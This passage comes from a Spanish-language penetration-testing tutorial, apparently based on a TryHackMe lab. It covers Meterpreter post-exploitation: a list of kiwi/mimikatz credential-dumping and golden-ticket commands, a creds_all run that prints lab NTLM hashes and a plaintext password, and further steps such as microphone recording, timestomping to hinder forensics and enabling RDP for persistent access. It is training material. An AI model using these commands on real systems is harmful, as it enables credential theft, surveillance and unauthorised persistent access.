    creds_wdigest         Retrieve WDigest creds (parsed)
    dcsync                Retrieve user account information via DCSync (unparsed)
    dcsync_ntlm           Retrieve user account NTLM hash, SID and RID via DCSync
    golden_ticket_create  Create a golden kerberos ticket
    kerberos_ticket_list  List all kerberos tickets (unparsed)
    kerberos_ticket_purge Purge any in-use kerberos tickets
    kerberos_ticket_use   Use a kerberos ticket
    kiwi_cmd              Execute an arbitary mimikatz command (unparsed)
    lsa_dump_sam          Dump LSA SAM (unparsed)
    lsa_dump_secrets      Dump LSA secrets (unparsed)
    password_change       Change the password/hash of a user
    wifi_list             List wifi profiles/creds for the current user
    wifi_list_shared      List shared wifi profiles/creds (requires SYSTEM)
```

Pregunta de autoevaluación
¿Qué comando nos permite obtener todas las credenciales?

Ejecútalo para obtener las contraseñas de los usuarios de la máquina

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username  Domain   LM                                NTLM                              SHA1
--------  ------   --                                ----                              ----
Dark      Dark-PC  e52cac67419a9a22ecb08369099ed302  7c4fe5eada682714a036e39378362bab
0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb

wdigest credentials
===================

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
DARK-PC$  WORKGROUP  (null)
Dark      Dark-PC    Password01!

tspkg credentials
=================

Username  Domain   Password
--------  ------   --------
Dark      Dark-PC  Password01!

kerberos credentials
```

```
====================

Username  Domain     Password
--------  ------     --------
(null)    (null)     (null)
Dark      Dark-PC    Password01!
dark-pc$  WORKGROUP  (null)
```

Se puede observar cómo tenemos los hashes de las contraseñas y ha sido capaz de crackearlos.

Para saber más
Los **Golden Ticket** son una forma excelente de ganar privilegios en equipos o recursos de una red.
https://www.christophertruncer.com/golden-ticket-generation/

Otras acciones de postexplotación.

Otros comandos disponibles que podemos realizar desde la shell de meterpreter podrían ser los siguientes:

- ***hashdump***. Hace un volcado de hashes almacenados en la base de datos SAM.
- ***screenshare***. Permite ver el escritorio de la máquina víctima en tiempo real.
- ***record_mic***. Graba audio desde el micrófono por defecto de la máquina víctima.
- ***Timestomp***. Manipula datos de fechas de ficheros para complicar el análisis forense.

3. Ejercicio propuesto

En este punto del caso práctico disponemos del usuario y contraseña del equipo y disponemos de los privilegios necesarios para habilitar el escritorio remoto.

Por tanto, se puede ejecutar el **módulo *post/windows/manage/enable_rdp*** y de este modo poder acceder a la máquina remota siempre que deseemos sin realizar el proceso de explotación de vulnerabilidades.

4. Bibliografía

Recursos y enlaces utilizados para elaborar este documento.

- https://tryhackme.com/room/rpmetasploit
- https://tryhackme.com/room/ice